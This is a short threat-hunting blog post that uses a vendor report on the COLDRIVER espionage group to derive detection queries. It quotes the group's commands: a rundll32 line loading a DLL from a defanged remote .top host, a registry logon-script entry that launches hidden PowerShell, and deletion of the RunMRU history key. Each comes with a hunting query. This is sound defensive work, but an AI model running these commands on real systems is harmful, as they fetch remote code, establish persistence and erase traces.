268. Hunting for COLDRIVER

Hello everyone!

Today we'll look into another great report by Zscaler. This time it's on COLDRIVER (also known as Star Blizzard, Callisto, and UNC4057). And it's full of detection and hunting ideas!

The threat actor added ClickFix to their arsenal, but leveraged rundll32.exe instead of common cmd.exe, powershell.exe and mshta.exe:

rundll32.exe \\captchanom[.]top\check\machinerie.dll,verifyme

Here we can hunt for rundll32.exe executing DLLs located on .top (you can experiment with others, of course) domains (and yes, I love hunting for rundll32.exe abuse):

event_type: "processcreatewin"

AND

proc_file_path: "rundll32.exe"

AND

cmdline: *top*

The threat actors used Logon Script (T1037.001) for persistence:

reg add "HKCU\Environment" /v UserInitMprLogonScript /t REG_SZ /d "powershell -WindowStyle Hidden -ep bypass \"%APPDATA%\Microsoft\Windows\FvFLcsr23.ps1\" \"7eHgxjgbBs3gHdkgx9AsRC\"" /f%

And yes, it's another hunting opportunity for reg.exe:

event_type: "processcreatewin"

AND

proc_file_path: "reg.exe"

AND

cmdline: "UserInitMprLogonScript"

Also the threat actors cleared the RunMRU key, which stores the Most Recently Used (MRU) commands entered into the Run dialog (Win + R):

reg delete HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU /f

We can hunt for similar behavior os well:

event_type: "processcreatewin"

AND

proc_file_path: "reg.exe"

AND

cmdline: ("delete" AND "runmru")

See you tomorrow!

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